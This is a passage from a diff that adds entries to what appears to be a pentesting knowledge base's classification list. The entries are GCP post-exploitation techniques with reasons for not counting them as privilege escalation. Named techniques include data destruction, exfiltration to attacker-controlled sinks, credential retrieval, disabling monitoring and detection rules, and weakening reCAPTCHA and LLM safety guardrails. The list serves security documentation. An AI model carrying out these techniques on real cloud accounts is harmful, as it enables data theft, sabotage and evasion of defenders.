src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md#secretmanagerversionsdestroy + technique: secretmanager.versions.destroy + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md#secretmanagerversionsdisable + technique: secretmanager.versions.disable + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md#secretmanagersecretsdelete + technique: secretmanager.secrets.delete + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md#secretmanagersecretsupdate--regional-secret-cmek-hijack-remote-kill-switch + technique: secretmanager.secrets.update — regional-secret CMEK hijack (remote kill-switch) + reason: CMEK kill-switch DoS; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-unified-maintenance-post-exploitation.md#maintenanceresourcemaintenanceslist--enumerate-resources-and-maintenance-windows + technique: maintenance.resourceMaintenances.list — enumerate resources and maintenance windows + reason: resource recon; reveals targets or data but grants no identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md#weaken-or-delete-semantic-governance-tool-guardrails + technique: Weaken or delete Semantic Governance tool guardrails + reason: Removes an application tool guardrail but gives no new IAM grant; follow-on tool authority must already exist. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-oracle-database-post-exploitation.md#oracledatabaseautonomousdatabasesgeneratewallet--pull-the-connection-wallet--full-db-access + technique: oracledatabase.autonomousDatabases.generateWallet — pull the connection wallet → full DB access + reason: credential/secret disclosure (data); no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-oracle-database-post-exploitation.md#oracledatabaseautonomousdatabasesclone--restore--offline-copy-exfil + technique: oracledatabase.autonomousDatabases.clone / .restore — offline copy exfil + reason: data read/exfil; no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-oracle-database-post-exploitation.md#availability-tampering--failover--switchover--stop--delete + technique: Availability tampering — failover / switchover / stop / delete + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-recaptcha-enterprise-post-exploitation.md#recaptchaenterprisekeysretrievelegacysecretkey--retrieve-the-legacy-verifier-secret + technique: recaptchaenterprise.keys.retrievelegacysecretkey — retrieve the legacy verifier secret + reason: app verifier secret (data); no configuration-derived identity gain is documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-recaptcha-enterprise-post-exploitation.md#relatedaccountgroupslist--relatedaccountgroupmembershipslist--map-related-victim-accounts + technique: relatedaccountgroups.list + relatedaccountgroupmemberships.list — map related victim accounts + reason: recon of app accounts; reveals targets or data but grants no identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-recaptcha-enterprise-post-exploitation.md#recaptchaenterpriseassessmentsannotate--submit-false-fraud-model-feedback + technique: recaptchaenterprise.assessments.annotate — submit false fraud-model feedback + reason: data/config tampering; any execution or credential use depends on application-specific runtime behavior. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-recaptcha-enterprise-post-exploitation.md#recaptchaenterprisekeysupdate--recaptchaenterprisepoliciesupdate--weaken-key-and-challenge-enforcement + technique: recaptchaenterprise.keys.update / recaptchaenterprise.policies.update — weaken key and challenge enforcement + reason: control weakening / defense evasion; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-recaptcha-enterprise-post-exploitation.md#recaptchaenterprisekeysupdate--pin-valid-assessments-from-an-ip-to-score-09 + technique: recaptchaenterprise.keys.update — pin valid assessments from an IP to score 0.9 + reason: control weakening / defense evasion; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-recaptcha-enterprise-post-exploitation.md#recaptchaenterprisefirewallpoliciescreate--update--return-an-attacker-favorable-firewall-action + technique: recaptchaenterprise.firewallpolicies.create / .update — return an attacker-favorable firewall action + reason: control weakening / defense evasion; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-source-repositories-post-exploitation.md#sourcereposget--clone-private-source-and-inspect-all-reachable-history + technique: source.repos.get — clone private source and inspect all reachable history + reason: source code read; reveals targets or data but grants no identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#bigquery-export-subscription-exfil-sink---pubsubsubscriptionscreate--pubsubtopicsattachsubscription + technique: BigQuery export subscription exfil sink - pubsub.subscriptions.create + pubsub.topics.attachSubscription + reason: data read/exfil; no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubsubscriptionsupdate--reuse-a-stored-custom-writer-without-caller-actas + technique: pubsub.subscriptions.update — reuse a stored custom writer without caller actAs + reason: Stored writer performs only BigQuery/Storage delivery; no token or arbitrary code. A code-bucket poisoning chain would require an actual configured code + consumer. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#cloud-storage-subscription-bucket-name-hijack---storagebucketsdelete + technique: Cloud Storage subscription bucket-name hijack - storage.buckets.delete + reason: bucket-name hijack exfil; no configuration-derived identity gain is documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubsubscriptionsupdate + technique: pubsub.subscriptions.update + reason: message redirection/DoS (new OIDC SA = OIDC-only, excluded); changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubsubscriptionscreatepubsubtopicsattachsubscription--pubsubsubscriptionsconsume + technique: '**pubsub.subscriptions.create,**pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)' + reason: message siphon (data); any execution or credential use depends on application-specific runtime behavior. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubtopicspublish + technique: pubsub.topics.publish + reason: Consumer behavior depends on application logic or a vulnerability; publishing alone gives no code or identity control. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubtopicsupdate + technique: pubsub.topics.update + reason: topic config DoS; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubtopicscreate--pubsubtopicsupdate--import-topic-cloud-storage-ingestion-message-injection + technique: pubsub.topics.create / pubsub.topics.update — import-topic (Cloud Storage ingestion) message injection + reason: Ingests attacker messages, but identity gain depends on a consumer vulnerability or application-specific command interpretation. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubsnapshotscreate-pubsubsnapshotsseek + technique: pubsub.snapshots.create, pubsub.snapshots.seek + reason: message replay (data); any execution or credential use depends on application-specific runtime behavior. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubtopicsdetachsubscription + technique: pubsub.topics.detachSubscription + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubtopicsdelete + technique: pubsub.topics.delete + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubsubscriptionsdelete + technique: pubsub.subscriptions.delete + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubschemasattach-pubsubtopicsupdatepubsubschemascreate + technique: pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create) + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubsubscriptionsconsume--destroy-a-backlog-with-seek---time-silent-by-default + technique: pubsub.subscriptions.consume — destroy a backlog with seek --time (silent by default) + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cx-agent-studio-post-exploitation.md#cesconversationslistget--harvest-transcripts-and-tool-traces + technique: ces.conversations.list/get — harvest transcripts and tool traces + reason: 'No configuration-derived second identity: transcript data read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cx-agent-studio-post-exploitation.md#cesguardrailsupdatedelete--weaken-application-safety-controls + technique: ces.guardrails.update/delete — weaken application safety controls + reason: 'No configuration-derived second identity: app safety control bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-managed-flink-enum.md#bigquery-engine-for-apache-flink-managedflinkgoogleapiscom + technique: BigQuery Engine for Apache Flink (managedflink.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-policy-troubleshooter-enum.md#policy-troubleshooter-policytroubleshootergoogleapiscom + technique: Policy Troubleshooter (policytroubleshooter.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-observability-enum.md#google-cloud-observability-observabilitygoogleapiscom + technique: Google Cloud Observability (observability.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-oracle-database-enum.md#oracle-databasegoogle-cloud-oracledatabasegoogleapiscom + technique: Oracle Database@Google Cloud (oracledatabase.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-parameter-manager-enum.md#parameter-manager-parametermanagergoogleapiscom + technique: Parameter Manager (parametermanager.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-telemetry-enum.md#telemetry-otlp-api-telemetrygoogleapiscom + technique: Telemetry (OTLP) API (telemetry.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-private-catalog-enum.md#private-catalog-cloudprivatecataloggoogleapiscom--cloudprivatecatalogproducergoogleapiscom + technique: Private Catalog (cloudprivatecatalog.googleapis.com / cloudprivatecatalogproducer.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-security-command-center-enum.md#security-command-center-securitycentergoogleapiscom--securitycentermanagementgoogleapiscom + technique: Security Command Center (securitycenter.googleapis.com / securitycentermanagement.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-sensitive-data-protection-dlp-enum.md#sensitive-data-protection--dlp-dlpgoogleapiscom + technique: Sensitive Data Protection / DLP (dlp.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-web-security-scanner-enum.md#web-security-scanner-websecurityscannergoogleapiscom + technique: Web Security Scanner (websecurityscanner.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-recaptcha-enterprise-enum.md#recaptcha-enterprise-recaptchaenterprisegoogleapiscom + technique: reCAPTCHA Enterprise (recaptchaenterprise.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-search-enum.md#vertex-ai-search--agent-builder-discoveryenginegoogleapiscom + technique: Vertex AI Search / Agent Builder (discoveryengine.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-vpc-service-controls-enum.md#vpc-service-controls-accesscontextmanagergoogleapiscom + technique: VPC Service Controls (accesscontextmanager.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-migration-center-enum.md#enumeration-read-only--rolesmigrationcenterviewer + technique: Enumeration (read-only — roles/migrationcenter.viewer) + reason: Inventory or context; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-migration-center-enum.md#migrationcenterassetsgetlist--cross-cloud-estate-recon-highest-value + technique: migrationcenter.assets.get/.list — cross-cloud estate recon (highest value) + reason: Cross-cloud inventory only; no other identity. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-pam-enum.md#privileged-access-manager-privilegedaccessmanagergoogleapiscom + technique: Privileged Access Manager (privilegedaccessmanager.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-managed-microsoft-ad-enum.md#managed-service-for-microsoft-active-directory-managedidentitiesgoogleapiscom + technique: Managed Service for Microsoft Active Directory (managedidentities.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-gke-post-exploitation.md#containerclustersupdate--disable-gke-loggingmonitoring-components-anti-forensics + technique: container.clusters.update — disable GKE logging/monitoring components (anti-forensics) + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-integration-connectors-post-exploitation.md#rolesconnectorsinvoker--rolesconnectorslistener--use-a-connections-stored-credentials + technique: roles/connectors.invoker / roles/connectors.listener — use a connection's stored credentials + reason: Connection uses a configured third-party backend credential for data operations; no GCP IAM principal is obtained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-firebase-data-connect-post-exploitation.md#connectorsimpersonatequery--impersonatemutation--run-operations-as-any-end-user + technique: connectors.impersonateQuery / .impersonateMutation — run operations as any end-user + reason: Firebase application end-user context; does not grant a GCP IAM identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-firebase-data-connect-post-exploitation.md#servicesexecutegraphql--admin-graphql--full-data-readwrite-bypassing-auth + technique: services.executeGraphql — admin GraphQL → full data read/write, bypassing @auth + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-google-secops-post-exploitation.md#chronicleeventsudmsearch--chronicleeventssearchrawlogs--search-accessible-telemetry-for-secrets-and-topology + technique: chronicle.events.udmSearch / chronicle.events.searchRawLogs — search accessible telemetry for secrets and topology + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-google-secops-post-exploitation.md#chroniclereferencelistsupdate--chronicledatatablerowscreate--poison-rule-lookup-data + technique: chronicle.referenceLists.update / chronicle.dataTableRows.create — poison rule lookup data + reason: Application data/configuration mutation; no configured GCP principal identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-google-secops-post-exploitation.md#chroniclecasesclose--close-active-soar-cases-as-not-malicious + technique: chronicle.cases.close — close active SOAR cases as not malicious + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-google-secops-post-exploitation.md#chroniclefeedsdisable--archive-a-feed-and-stop-its-ingestion + technique: chronicle.feeds.disable — archive a feed and stop its ingestion + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-google-secops-post-exploitation.md#chronicleruledeploymentsupdate--stop-a-rule-or-stop-promoting-its-detections-to-alerts + technique: chronicle.ruleDeployments.update — stop a rule or stop promoting its detections to alerts + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-google-secops-post-exploitation.md#chroniclerulesupdate--introduce-an-exclusion-into-detection-logic + technique: chronicle.rules.update — introduce an exclusion into detection logic + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-network-intelligence-center-post-exploitation.md#networkmanagementconnectivitytestslistgetcreatererun--recover-or-generate-internal-path-traces + technique: networkmanagement.connectivitytests.list/get/create/rerun — recover or generate internal path traces + reason: Network path/packet access only; a usable credential or impersonable GCP principal is not configuration-derived. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-firestore-post-exploitation.md#datastoredatabasesexport--bulk-data-exfiltration-incl-cross-project-confused-deputy + technique: datastore.databases.export — bulk data exfiltration (incl. cross-project confused deputy) + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-firestore-post-exploitation.md#datastoredatabasesclone--pitr-snapshot-clone-into-an-attacker-controlled-database-acl-bypass-exfil + technique: datastore.databases.clone — PITR-snapshot clone into an attacker-controlled database (ACL-bypass exfil) + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-firestore-post-exploitation.md#datastoredatabasesimport--data-tampering--privileged-entity-injection + technique: datastore.databases.import — data tampering / privileged-entity injection + reason: Application data/configuration mutation; no configured GCP principal identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-firestore-post-exploitation.md#datastoreentitiesgetlist--firestore-security-rules-are-bypassed-by-any-iam-principal + technique: datastore.entities.get/list — Firestore **security rules are bypassed** by any IAM principal + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-firestore-post-exploitation.md#datastoredatabasesdelete--irreversible-database-dos + technique: datastore.databases.delete — irreversible database DoS + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-firestore-post-exploitation.md#datastoredatabasesupdate--disable-delete-protection--pitr-defense-evasion-precursor + technique: datastore.databases.update — disable delete-protection / PITR (defense-evasion precursor) + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-looker-post-exploitation.md#lookerinstancesexport--export-instance-data-to-controlled-storage-and-kms-resources + technique: looker.instances.export — export instance data to controlled Storage and KMS resources + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-gemini-cloud-assist-post-exploitation.md#geminicloudassistinvestigationsrevisionsgetlist--harvest-troubleshooting-evidence-and-history + technique: geminicloudassist.investigations/revisions.get/list — harvest troubleshooting evidence and history + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-gemini-cloud-assist-post-exploitation.md#rolesgeminicloudassistuser--read-objects-from-known-cloud-storage-buckets + technique: roles/geminicloudassist.user — read objects from known Cloud Storage buckets + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-model-armor-post-exploitation.md#modelarmorfloorsettingsupdate--disable-orgfolderproject-wide-llm-safety-enforcement + technique: modelarmor.floorSettings.update — disable org/folder/project-wide LLM safety enforcement + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-model-armor-post-exploitation.md#modelarmortemplatesupdate--install-catch-all-exclusions-that-return-no_match_found + technique: modelarmor.templates.update — install catch-all exclusions that return NO_MATCH_FOUND + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-memorystore-post-exploitation.md#redis-auth-credential-disclosure---redisinstancesgetauthstring + technique: Redis AUTH credential disclosure - redis.instances.getAuthString + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-memorystore-post-exploitation.md#redis-cluster--data-plane-takeover-via-managed-token-auth-users---redisclustersconnect + technique: Redis Cluster — data-plane takeover via managed token-auth users - redis.clusters.connect + reason: Redis data-plane user/token and keyspace access; no GCP IAM identity is obtained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-memorystore-post-exploitation.md#data-exfiltration-via-rdb-export---redisinstancesexport + technique: Data exfiltration via RDB export - redis.instances.export + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-memorystore-post-exploitation.md#config-tamper--its-limits---redisinstancesupdate + technique: Config tamper & its limits - redis.instances.update + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-managed-kafka-post-exploitation.md#managedkafkaclustersconnect-plus-kafka-read-acls---consume-topic-data + technique: managedkafka.clusters.connect plus Kafka READ ACLs - consume topic data + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-managed-kafka-post-exploitation.md#managedkafkaconnectorscreate--update---stream-a-topic-to-an-attacker-controlled-sink + technique: managedkafka.connectors.create / .update - stream a topic to an attacker-controlled sink + reason: Network path/packet access only; a usable credential or impersonable GCP principal is not configuration-derived. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-managed-kafka-post-exploitation.md#managedkafkaclustersconnect-plus-kafka-write-acls---inject-records + technique: managedkafka.clusters.connect plus Kafka WRITE ACLs - inject records + reason: Application data/configuration mutation; no configured GCP principal identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-managed-kafka-post-exploitation.md#managedkafkatopicsupdate--delete-or-broker-topic-acls---expire-or-destroy-topic-data + technique: managedkafka.topics.update / .delete or broker topic ACLs - expire or destroy topic data + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-managed-kafka-post-exploitation.md#managedkafkaconsumergroupsupdate--delete---rewind-skip-or-erase-committed-offsets + technique: managedkafka.consumerGroups.update / .delete - rewind, skip, or erase committed offsets + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-managed-kafka-post-exploitation.md#managedkafkasubjectsdelete--versionsdelete---disrupt-schema-registry-clients + technique: managedkafka.subjects.delete / versions.delete - disrupt Schema Registry clients + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#cloudkmscryptokeyversionsusetoverify + technique: cloudkms.cryptoKeyVersions.useToVerify + reason: Reconnaissance only; no identity or role transition. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#cloudkmscryptokeyversionsusetodecapsulate--post-quantum-kem-decrypt-oracle + technique: cloudkms.cryptoKeyVersions.useToDecapsulate — post-quantum KEM decrypt oracle + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#cloudkmscryptokeyversionsrestore + technique: cloudkms.cryptoKeyVersions.restore + reason: key restore (data/recovery); no GCP IAM identity gain documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#cloudkmscryptokeyversionsusetoencrypt--cloudkmscryptokeyversionsusetoencryptviadelegation + technique: cloudkms.cryptoKeyVersions.useToEncrypt | cloudkms.cryptoKeyVersions.useToEncryptViaDelegation + reason: NON-PRIVESC; no GCP IAM identity gain documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#cloudkmscryptokeyversionsusetosign + technique: cloudkms.cryptoKeyVersions.useToSign + reason: Artifact/data integrity effect depends on an external relying application; no configured GCP principal target is documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#cloudkmscryptokeyversionsdestroy + technique: cloudkms.cryptoKeyVersions.destroy + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#here-are-the-steps-to-import-a-new-version-and-disabledelete-the-older-data + technique: 'Here are the steps to import a new version and disable/delete the older data:' + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#cloudkmscryptokeyversionsupdate + technique: cloudkms.cryptoKeyVersions.update + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#cloudkmscryptokeysupdate--key-access-justifications-zero-access-reasons-lockout-silent-to-version-monitoring-dos + technique: cloudkms.cryptoKeys.update — Key Access Justifications "zero access reasons" lockout (silent-to-version-monitoring DoS) + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-netapp-volumes-post-exploitation.md#netappvolumescreate--clone-data-from-a-snapshot-or-backup + technique: netapp.volumes.create — clone data from a snapshot or backup + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-netapp-volumes-post-exploitation.md#netappontap--use-the-filtered-ontap-management-proxy + technique: netapp.ontap.* — use the filtered ONTAP management proxy + reason: Application data/configuration mutation; no configured GCP principal identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-netapp-volumes-post-exploitation.md#netappvolumesupdate--expose-an-nfs-volume-to-an-attacker-controlled-client-range + technique: netapp.volumes.update — expose an NFS volume to an attacker-controlled client range + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-netapp-volumes-post-exploitation.md#netappvolumesdelete--snapshotsdelete--backupsdelete--destroy-data-and-recovery-points + technique: netapp.volumes.delete / snapshots.delete / backups.delete — destroy data and recovery points + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringtimeserieslist--monitoringmetricdescriptorslist--telemetry-reconnaissance + technique: monitoring.timeSeries.list / monitoring.metricDescriptors.list — telemetry reconnaissance + reason: Reconnaissance only; no identity or role transition. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringalertslistget--mine-current-and-historical-policy-violations + technique: monitoring.alerts.list/get — mine current and historical policy violations + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringtimeseriescreate--forge-user-defined-telemetry + technique: monitoring.timeSeries.create — forge user-defined telemetry + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringuptimecheckconfigsupdate--weaken-content-and-status-validation + technique: monitoring.uptimeCheckConfigs.update — weaken content and status validation + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringmetricdescriptorsdelete--disable-a-user-defined-metric + technique: monitoring.metricDescriptors.delete — disable a user-defined metric + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringdashboardsupdate--delete--visual-blinding + technique: monitoring.dashboards.update / .delete — visual blinding + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringnotificationchannelsupdate--delete--stop-alert-delivery + technique: monitoring.notificationChannels.update / .delete — stop alert delivery + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringalertpoliciesupdate--delete--disable-or-remove-detections + technique: monitoring.alertPolicies.update / .delete — disable or remove detections + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringslosupdate--delete--weaken-slo-and-burn-rate-monitoring + technique: monitoring.slos.update / .delete — weaken SLO and burn-rate monitoring + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-live-stream-post-exploitation.md#livestreamchannelsget--recover-an-rtmp-distribution-stream-key + technique: livestream.channels.get — recover an RTMP distribution stream key + reason: third-party stream key (data); no GCP IAM identity gain documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-live-stream-post-exploitation.md#livestreamassetscreate--livestreameventscreate--re-host-service-agent-readable-media + technique: livestream.assets.create + livestream.events.create — re-host service-agent-readable media + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: 